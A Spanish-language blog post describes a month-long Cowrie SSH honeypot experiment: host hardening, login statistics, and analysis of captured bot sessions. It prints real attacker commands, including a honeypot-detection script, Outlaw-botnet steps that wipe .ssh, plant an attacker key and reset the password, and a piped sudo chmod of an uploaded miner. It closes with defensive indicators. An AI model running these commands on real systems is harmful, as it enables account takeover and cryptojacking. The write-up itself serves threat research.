Introducción
Lo primero de lo que me di cuenta al empezar a aprender sobre honeypots es que no es tan sencillo como parece. Desde el principio tuve claro que la seguridad era fundamental para asegurarme de que un atacante quedara contenido. Lo que me sorprendió fue la variedad de opciones, decisiones y alternativas.
El objetivo aquí es aprender, así que la primera decisión fue fácil. Como era mi primera experiencia real, opté por reducir los riesgos derivados de mi falta de experiencia. Eso me llevó a dos decisiones:
- Usar un VPS en lugar de mi laboratorio doméstico. Si algo sale mal, lo más probable es que el proveedor del VPS apague mi servidor antes incluso de que yo me dé cuenta, y en este caso eso ayuda.
- Usar un software de honeypot conocido en lugar de montar una VM o un contenedor reales. Una VM o un contenedor reales son más realistas, pero una aplicación de honeypot es más sencilla y más segura.
Así que la arquitectura quedó decidida: un VPS con Debian y Cowrie como honeypot SSH. Cowrie analiza cada comando, responde con su propia implementación o desde un sistema de ficheros falso, y lo registra todo: credenciales, comandos, sesiones TTY y ficheros.
Ese diseño es la red de seguridad, y también su punto débil. Un shell escrito en Python no es bash y, como veremos, algunos bots sabían exactamente cómo notar la diferencia.
El montaje
Primero, el hardening del host
Cowrie puede funcionar tal cual viene, pero el host que hay debajo es real, así que le apliqué hardening antes de instalar nada:
- Tres usuarios: uno para mi login SSH remoto, root, y
lab-usrpara ejecutar el honeypot, sin shell de login y con los permisos mínimos. - SSH real movido a un puerto alto, solo autenticación por clave, sin login de root y algunas restricciones más.
- fail2ban en el puerto SSH real: 5 fallos en 10 minutos suponen un baneo de 2 horas.
- nftables con una política de entrada que descarta por defecto. Cowrie se ejecuta con un usuario sin privilegios, así que no puede escuchar en el puerto 22. Escucha en el 2222. Una regla NAT redirige el 22 al 2222 para que los atacantes encuentren la puerta mientras Cowrie sigue sin privilegios:
table ip nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
tcp dport 22 redirect to :2222
}
}
Los paquetes descartados se registran en su propio fichero con rsyslog y se mantienen bajo control con logrotate, y journald tiene un límite de tamaño. Un honeypot atrae mucho ruido; llenar el disco sería la forma más tonta de perder la máquina.
La instalación por defecto de Debian trae pocos servicios y no hay mucho más que quitar o reconfigurar. Ni siquiera trae sudo. Así que, tras instalar los últimos parches, listo.
Hacer que Cowrie parezca menos Cowrie
De serie, Cowrie presenta un hostname por defecto y un sistema genérico que reconoce cualquiera que haya visto unas cuantas instancias de Cowrie. Así que el segundo paso fue hacer que respondiera a los comandos habituales con información real tomada del host. Ejecuté uname -a y ssh -V en el VPS y copié los valores en cowrie.cfg:
[honeypot]
hostname = ubuntu-4gb-hel3-2
contents_path = /opt/cowrie/honeyfs
txtcmds_path = /opt/cowrie/txtcmds
auth_class = UserDB
[shell]
kernel_version = 6.12.107+deb13-cloud-amd64
kernel_build_string = #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux
hardware_platform = x86_64
operating_system = GNU/Linux
ssh_version = OpenSSH_10.0p2 Debian-7+deb13u4, OpenSSL 3.5.7 9 Jun 2026
Después construí el contenido del sistema de ficheros falso (honeyfs). Copié ficheros reales del VPS (/etc/passwd, group, shadow, hostname, issue, motd, os-release y los dotfiles de cada directorio home) y sustituí todo lo específico del servidor. Los usuarios y UIDs de passwd coinciden con los propietarios de los directorios home, y shadow contiene hashes yescrypt reales de las contraseñas del honeypot (mkpasswd -m yescrypt). Es cosmético, pero coherente.
Un detalle que me costó algo de tiempo: un fichero de honeyfs solo se muestra si la ruta también existe en el índice del sistema de ficheros de Cowrie, fs.pickle. Cada directorio y cada fichero hay que crearlos también ahí, con fsctl:
fs.pickle:/home$ ls -l admin
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:04 .bash_logout
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .bashrc
-rwxr-xr-x 1 1000 1000 4096 2026-09-23 20:03 .profile
Con eso, un visitante que inicia sesión obtiene una respuesta como esta, que coincide con el kernel real del VPS:
$ uname -a
Linux ubuntu-4gb-hel3-2 6.12.107+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux
El cebo
Lancé el honeypot con seis usuarios con contraseñas sencillas sacadas del diccionario rockyou, suponiendo que serían fáciles de romper.
root:x:rootbeer2
admin:x:soloadmin
service:x:ciocolatax
deploy:x:chinesa78
backup:x:backup2022
john:x:changeme
Al parecer no era lo bastante sencillo. Al décimo día, tras 112.604 intentos de login, no había tenido ni un solo login con éxito.
Así que miré los logins fallidos, elegí una de las contraseñas que más se repetían y se la asigné a admin: Admin@123. Reinicié Cowrie y no tardó mucho, 31 minutos:
2026-10-03T12:13:27.461382Z [cowrie.core.config#info] Reading configuration from ['etc/cowrie.cfg']
2026-10-03T12:13:27.636459Z [cowrie.plugin#info] Cowrie Version 3.0.15
...
2026-10-03T12:44:40.183897Z [ssh,de8c13e21479,92.118.39.49] login attempt [admin/Admin@123] succeeded
Lo dejé funcionando otros 29 días, 39 en total.
Esa fue la primera lección. Los bots no usan rockyou; mi suposición es que usan listas cortas y seleccionadas de lo que funciona en servidores reales. Una contraseña “débil” en el sentido de un diccionario no es necesariamente una que vayan a probar. Es posible que roten las contraseñas para evitar bloqueos de cuenta, pero creo que es más probable que usen combinaciones usuario:contraseña que les han dado buenos resultados.
Spoiler: después de todo este tiempo, solo el usuario admin tuvo logins con éxito.
Las cifras
Algunas estadísticas de los logs tras 39 días:
| métrica | valor |
|---|---|
| intentos de login | 865.818 |
| logins con éxito | 3.232 |
| usuarios distintos probados | 10.965 |
| contraseñas distintas probadas | 130.665 |
| usuarios más probados | intentos | contraseñas más probadas | intentos | |
|---|---|---|---|---|
| root | 117.178 | 123456 | 2.188 | |
| admin | 6.454 | password | 773 | |
| user | 1.655 | 123 | 731 | |
| ubuntu | 1.173 | 123456789 | 638 | |
| test | 372 | qwerty | 614 | |
| ubnt | 316 | 1234 | 454 | |
| debian | 304 | 111111 | 371 | |
| ftpuser | 289 | 12345678 | 362 | |
| postgres | 281 | 1 | 298 | |
| support | 246 | 12345 | 286 |
Sesiones e IPs de origen, para los 29 días con Admin@123:
| métrica | valor |
|---|---|
| sesiones | 730.860 |
| IPs de origen únicas | 7.174 |
| sesiones interactivas (al menos un comando) | 94 |
| IPs únicas con alguna sesión interactiva | 55 |
| secuencias de comandos distintas | 7 |
Algunas cosas destacan:
rootes el objetivo. El 13,5 % de todos los intentos fue aroot, más de diez veces la suma de los nueve usuarios siguientes (11.090).- Las contraseñas son cortas y aburridas; la cola larga es enorme. 130.665 contraseñas distintas, pero las diez primeras son la misma lista que escribirías de memoria.
- El volumen está concentrado. Las 20 IPs más activas (el 0,28 % de los orígenes) generaron 421.069 sesiones, el 57,6 % del total. Solo la primera abrió 91.359 sesiones, aproximadamente una cada 30 segundos durante un mes.
- Entrar no es el objetivo de la mayoría de los bots. De 3.232 logins con éxito, solo 94 enviaron al menos un comando. El 97 % restante se autenticó y se fue. Mi interpretación es que hay dos perfiles:
- Verificadores de credenciales que recopilan logins válidos para que otro los use más tarde.
- Bots que comprueban la respuesta SSH e identifican el honeypot.
- 94 sesiones, 7 secuencias de comandos. Todas las sesiones interactivas usaron
admin:Admin@123y pertenecen a una de solo siete secuencias de comandos distintas. Nadie tecleó nada a mano.
Qué hicieron
Agrupé las sesiones interactivas por su secuencia exacta de comandos. Estos son los siete grupos.
Grupos 1, 2 y 4: un comando y adiós (79 sesiones)
Los tres grupos más grandes ejecutaron un único uname y se desconectaron:
| grupo | sesiones | comando | orígenes |
|---|---|---|---|
| 1 | 42 | uname -s -v -n -r -m | 37 IPs de 2 redes /24 |
| 2 | 29 | /bin/./uname -s -v -n -m | 2 IPs |
| 4 | 8 | uname -a | 6 IPs |
El grupo 1 es la misma secuencia de comandos desde 37 IPs de dos redes /24, todas con el mismo par de huellas HASSH: muy probablemente una sola herramienta ejecutándose desde muchos hosts. No se detienen una vez dentro. Una de estas IPs falló 801 veces, inició sesión, ejecutó uname, falló 1.190 veces más, volvió a iniciar sesión y repitió el ciclo una vez más. Parece un bot que recorre su lista entera en cada pasada, sin memoria de lo que ya funcionó. |
El grupo 2 llama a /bin/./uname. El /./ no cambia nada para el kernel; es el mismo fichero.
Mi suposición es que incluir /./ en la ruta es una forma de poner a prueba el intérprete de comandos. Si falla, el bot sabe que está en un honeypot o en una sesión de bash falsa.
Todas estas sesiones buscan la arquitectura y el kernel de su víctima. Eso les permite elegir un payload, y también decidir si el objetivo cumple sus requisitos.
Grupo 3: el detector de honeypots (12 sesiones)
Este es el script más interesante, y es donde mi Cowrie “realista” falló. Llega como un solo bloque, recopila información del sistema y, en una sección literalmente llamada SHELL_BEHAVIOR, comprueba cómo reacciona el shell ante los errores. Parece que el atacante envía el bloque como una sola línea de comandos; he cambiado el formato para hacerlo algo más legible.
Mostrar/Ocultar el código
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null ||
/bin/uname -s -v -n -m 2>/dev/null ||
/usr/bin/uname -s -v -n -m 2>/dev/null ||
busybox uname -s -v -n -m 2>/dev/null ||
( [ -f /proc/version ] && head -1 /proc/version |
cut -d' ' -f1 ) ||
( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release |
cut -d= -f2 | tr -d '"' ) || echo "")
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null ||
/usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null ||
( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo &&
echo aarch64 ) ||
( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo &&
echo armv7l ) || echo "") uptime=$(cat /proc/uptime 2>/dev/null ||
busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null ||
/usr/bin/nproc 2>/dev/null ||
busybox nproc 2>/dev/null ||
grep -c "^processor" /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null |
awk -F: '/Model name/ {print $2}';
grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null |
cut -d: -f2-;
grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null |
cut -d: -f2-;
cat /proc/device-tree/model 2>/dev/null;
} |
sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' |
head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga;
lspci 2>/dev/null | grep -i nvidia;
busybox lspci 2>/dev/null | grep -i vga;
busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C;
echo '===SHELL_BEHAVIOR===';
printf 'path_err=';
( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'cmd_err=';
( xxxxxx 2>&1 || true ) |
( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) |
( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
printf 'execute_err=';
out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1);
case "$out" in *xxxxxx*) ;;
*) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
chmod +x filter && ./filter && rm -rf filter' 2>&1 ||
sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter &&
chmod +x filter &&
./filter && rm -rf filter' 2>&1);
esac;
esac;
esac;
printf '%s' "$out" | ( head -c 250 2>/dev/null ||
busybox head -c 250 2>/dev/null ||
dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null ||
busybox tr -d '\n' 2>/dev/null || cat );
printf '\n';
echo '===DONE===' ) 2>&1 )
En una máquina Linux real, path_err contiene No such file or directory, cmd_err contiene command not found y execute_err contiene xxxxxx. Como Cowrie emula el shell, no sabe qué hacer con esto, y esto es lo que respondió mi honeypot:
awk: invalid option -- ':'
Try 'awk --help' for more information.
-bash: /usr/bin/sed: cannot execute binary file: Exec format error
head: invalid option -- '1'
xxxxxx
xxxxxx
-bash: syntax error near unexpected token `"$out"'
UNAME:Linux ubuntu-4gb-hel3-2 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux x86_64
ARCH:x86_64
UPTIME:
CPUS:2
CPU_MODEL:
GPU:
FILTER:===SHELL_BEHAVIOR===
path_err=
cmd_err=
execute_err=
===DONE===
La salida le dice al atacante que el shell es falso:
awk -F:yhead -1fallan: las implementaciones de Cowrie de estos comandos no admiten esas opciones.sedexiste en el sistema de ficheros falso, pero Cowrie no lo implementa, así que respondeExec format error. Una máquina x86_64 real nunca dice eso de su propiosed.UPTIMEestá vacío:cat /proc/uptimeno devolvió nada.CPU_MODELestá vacío porque su pipeline pasa porawk -F:ysed, que fallan los dos.path_errycmd_errestán vacíos. Los errores que deberían aparecer no están.- Una parte del comando crea un fichero llamado
filtery lo ejecuta. Llegó a ejecutarse:xxxxxxse imprime dos veces, directamente en el terminal. Pero el parser de Cowrie se atraganta con elcaseanidado dentro de$(...)(syntax error near unexpected token), así que la salida nunca se captura yexecute_errqueda vacío.
Mi cadena del kernel era perfecta, y no sirvió de nada. El script nunca le pregunta al sistema qué es; le pregunta al shell cómo se comporta.
Las 12 sesiones vinieron de 8 IPs y ninguna fue más allá. Supongo que sirve para comprobar si merece la pena descargar un payload real y, como la comprobación falla, no continúa. Pero una de las IPs vuelve, como veremos en el último grupo.
Grupos 5 y 6: apoderarse de la cuenta (2 sesiones)
Dos sesiones desde IPs distintas, con cinco días de diferencia, ejecutaron una secuencia idéntica. Las únicas diferencias son la IP de origen, la huella HASSH y la contraseña que generan como nueva contraseña de admin.
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
echo -e "Admin@123\nh7YtAsRcjPS2\nh7YtAsRcjPS2"|passwd|bash
cat /proc/cpuinfo | grep name | wc -l
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
crontab -l
...
El orden de las operaciones cuenta la historia:
- Quitar el atributo inmutable de
.ssh(chattr -ia), por si otro bot lo bloqueó.lockrno existe en un sistema estándar; no sé a qué se refiere. - Borrar las claves existentes e instalar la suya. Quien estuviera antes, fuera.
- Cambiar la contraseña por una cadena de 12 caracteres. Ahora el bot es dueño de la cuenta, y el siguiente bot que pruebe
Admin@123fallará. - Solo entonces empieza un inventario: número de CPUs, memoria, crontab, disco.
Los comandos de inventario vuelven a delatar al honeypot:
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
Intel(R) Xeon(R) CPU E5-2680 v4 @;
$ lscpu | grep Model
Model: 23
$ ls -lh $(which ls)
ls: cannot access /usr/bin/ls
/bin/ls: No such file or directory
$ top
E82: Cannot allocate any buffer, exiting...
$ w
15:26:37 up 13 days, 3:13, 1 user, load average: 0.00, 0.00, 0.00
La clave SSH y el comentario mdrfckr, en la segunda línea del código, llevan años asociados públicamente a la botnet de criptominería Outlaw/Dota. Puedes encontrar un artículo sobre ello en https://securelist.com/outlaw-botnet/116444/
Grupo 7: la entrega (1 sesión)
El 31 de octubre, 195.178.110.228 inició sesión. Esa misma IP ya había lanzado el detector del grupo 3 contra mi honeypot el 20 y el 23 de octubre.
Esta vez la sesión empezó con otro tipo de prueba. Cada comprobación imprime un marcador aleatorio y le pide al shell que calcule algo:
printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_math' "$((25*149+25))"
printf '\n%s|%s\n' 'check_001836c6aac8b3f41ce975ff22f82610_small_pid' "$$"
set -- 'check_..._arg1' 'check_..._arg2'; printf ... "$#|$1|$2"
f_check_...() { printf ... "$1|$#"; }; f_check_... 'check_..._function_value'
Expansión aritmética (la respuesta esperada es 3750), el PID del shell, parámetros posicionales y una función de shell. Cada prueba se ejecuta dos veces, dentro de sh -c y directamente, y luego otras dos con echo en lugar de printf. Son capacidades que tiene un shell POSIX real y que puede no tener un emulador de shell. Cowrie falló casi todas:
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_control|check_dd09...'
check_dd09..._small_control|check_dd09...
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_math|'"$((754*31+35))"
-bash: 754*31+35: command not found
check_dd09..._small_math|
admin@ubuntu-4gb-hel3-2:~$ echo 'check_dd09..._small_pid|'"$$"
check_dd09..._small_pid|$$
admin@ubuntu-4gb-hel3-2:~$ set -- 'check_dd09..._arg1' 'check_dd09..._arg2'; echo 'check_dd09..._small_positional|'"$#|$1|$2"
COLUMNS=240
HOME=/home/admin
...
USER=admin
check_dd09..._small_positional|$#||
admin@ubuntu-4gb-hel3-2:~$ f_check_dd09...() { echo 'check_dd09..._small_function|'"$1|$#"; }; f_check_dd09... 'check_dd09..._function_value'
check_dd09..._small_function|check_dd09..._function_value|1
| comprobación | shell real | Cowrie |
|---|---|---|
control (echo de un marcador) | marcador | marcador |
$((754*31+35)) | 23409 | 754*31+35: command not found |
$$ | un PID | $$ literal |
set -- + $#|$1|$2 | 2|arg1|arg2 | vuelca el entorno y luego $#|| |
| función de shell | value|1 | value|1 |
cualquier comprobación dentro de sh -c '...' | salida | nada en absoluto, ni siquiera el control |
Cowrie interpreta $((...)) como una sustitución de comandos de un subshell, así que intenta ejecutar 754*31+35 como un comando. set con argumentos se trata como un set simple, que imprime las variables. Y sh -c devuelve en silencio cualquier cosa que le pases. Solo pasó la prueba de la función. El marcador aleatorio de cada línea permite al script emparejar respuestas y preguntas aunque la salida llegue mezclada o incompleta.
Después llegó el fichero, subido a través de la propia sesión SSH (SFTP/SCP):
[UPLOAD] .16 sha256=a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125
$ echo 'Admin@123' | sudo -S sh -c 'chmod +x '\''/home/admin/.16'\''' || echo 'Admin@123' | sudo -S chmod +x '/home/admin/.16' || sh -c 'chmod +x '\''/home/admin/.16'\''' || chmod +x '/home/admin/.16'
$ chmod +x '/home/admin/.16'
chmod: cannot access '/home/admin/.16': No such file or directory
Un fichero oculto con un nombre sin sentido, hecho ejecutable mediante una cadena de alternativas: primero con sudo -S y la contraseña de login por pipe, y luego sin sudo. Cowrie guardó una copia del fichero pero no lo colocó en el sistema de ficheros falso, así que chmod no pudo encontrarlo. Una pista más, y ahí terminó la sesión.
El fichero nunca llegó a ejecutarse, pero guardé una copia. Es un minero malicioso, y puedes encontrar más detalles sobre él en VirusTotal.
Lo que ve el defensor
Una de las ventajas de un honeypot es recopilar indicadores que sirven en otros sitios. De este mes, los que buscaría en un servidor real:
- Huellas HASSH de los clientes atacantes:
2ec37a7c…(grupos 3 y 7) y03a80b21…(grupo 5). Identifican la librería SSH, no al actor: mejor para alertar o para listas blancas que para bloquear a ciegas. - Un
authorized_keyscon una clave con el comentariomdrfckr, o directorios.ssha los que se les ha cambiado el atributo inmutable (chattr -ia .sshen el historial del shell). passwdrecibiendo su entrada desde un pipe:echo -e "old\nnew\nnew" | passwd.sudo -Scon la contraseña enviada por pipe desdeecho.- Dotfiles ejecutables con nombres cortos y sin sentido en los directorios home (
/home/*/.16). - Un login desde una IP seguido de un único
unamey una desconexión inmediata: no es un ataque, sino el paso de inventario previo a uno. - Los hashes identificados pueden usarse para detectar intrusiones. En este caso, el hash del minero:
a151d3f4….
Y desde el otro lado del espejo, las pistas que dio mi honeypot, ordenadas de más barata a más cara de comprobar para un bot:
Exec format erroren binarios estándar (sed,df)sh -cno devuelve nada;$((...)),$$yset --rotos- Hardware incoherente: CPU Xeon en el nombre frente a
lscpumodelo 23 lsno se encuentra a sí mismo;topresponde con un error de vim- Opciones no soportadas (
awk -F:,head -1) /proc/uptimevacío- Faltan mensajes de error;
$(...)concaseno se puede analizar - El fichero subido no está en el sistema de ficheros
No todas son fáciles de corregir, pero cuando la corrección consiste solo en crear un fichero, el esfuerzo puede merecer la pena.
Conclusión
Ninguno de los que atacaron mi honeypot era una persona. Este honeypot ofrece una visión directa de cómo la automatización decide si una máquina merece el payload. La versión del kernel que copié con tanto cuidado, para que un atacante obtuviera una salida real, fue lo menos importante. Los atacantes pusieron a prueba el shell para provocar un error que pudiera darles información. El realismo no está en el banner; está en los mensajes de error.
El valor principal es recopilar información para los defensores, al menos con esta implementación. Para estudiar la actividad y recopilar malware, sería mejor otra implementación: probablemente una máquina real con un shell real, pero eso es una implementación totalmente distinta y con riesgos de seguridad importantes. De momento añadiré un par de cuentas a mi implementación y la dejaré funcionando un tiempo más para recopilar más datos.
¿Crees que se me ha escapado algo, o que podría hacer algo más con estos datos? Dímelo: el honeypot vuelve a estar en marcha para recopilar más logs.
:wq
